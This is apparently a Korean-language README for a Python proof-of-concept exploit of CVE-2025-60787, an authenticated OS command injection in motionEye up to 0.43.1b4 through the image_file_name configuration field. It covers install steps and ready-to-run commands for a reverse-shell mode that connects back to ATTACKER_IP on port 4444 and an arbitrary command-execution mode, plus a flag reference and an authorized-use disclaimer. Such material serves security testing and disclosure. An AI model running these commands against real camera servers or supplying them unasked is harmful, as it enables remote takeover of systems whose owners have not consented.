
CVE-2025-60787에 대한 Python PoC — motionEye <= 0.43.1b4에서 검증되지 않은 image_file_name config를 통한 인증된 OS 명령어 주입 RCE
motionEye <= 0.43.1b4에서 무결점 검증되지 않은 motion 구성 매개변수를 통한 인증된 원격 코드 실행
작성자: d3vn0mi
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2025-60787 |
| CVSS 점수 | 7.2 (높음) |
| 유형 | OS 명령 삽입 (CWE-78) |
| 영향 범위 | motionEye <= 0.43.1b4 |
| 수정 버전 | 0.43.1b5 |
motionEye는 image_file_name과 같은 구성 필드에서 임의의 문자열을 허용하고 이를 Motion 구성 파일(/etc/motioneye/camera-*.conf)에 직접 기록합니다. Motion 서비스가 재시작되면 이러한 필드를 셸 확장 가능한 문자열로 해석하므로, 인증된 공격자가 임의의 OS 명령을 주입하고 실행할 수 있습니다.
웹 UI에는 이러한 필드에 대한 클라이언트 측 검증이 포함되어 있지만, 조작된 API 요청을 직접 전송하여 쉽게 우회할 수 있습니다.
image_file_name 값이 포함된 수정된 구성을 POST합니다capture_mode: interval-snapshots 통해) 주입된 명령을 처리합니다requests 라이브러리git clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt
이 익스플로잇은 리버스 셸과 명령 실행의 두 가지 모드를 지원합니다.
사용자 머신에서 리스너를 시작한 후 다음을 실행하세요:
python3 exploit.py revshell \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-i ATTACKER_IP \
--port 4444
python3 exploit.py command \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-e "id; whoami"
이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다. 테스트 전에 항상 적절한 승인을 받으십시오.
이 프로젝트는 MIT License에 따라 라이선스가 부여됩니다.
| 플래그 | 설명 |
|---|
--url | 포트를 포함한 대상 motionEye URL |
--user | motionEye 사용자 이름 |
--password | motionEye 비밀번호 |
-i / --host | 리스너 IP (리버스 셸 모드) |
--port | 리스너 포트 (리버스 셸 모드) |
-e / --exec | 실행할 명령 (명령 실행 모드) |
--camera-id | 특정 카메라 ID 지정 |
--sh | /bin/bash 대신 /bin/sh 사용 |
--no-verify | TLS 인증서 검증 건너뛰기 |
--proxy | 프록시를 통한 트래픽 라우팅 (예: http://127.0.0.1:8080) |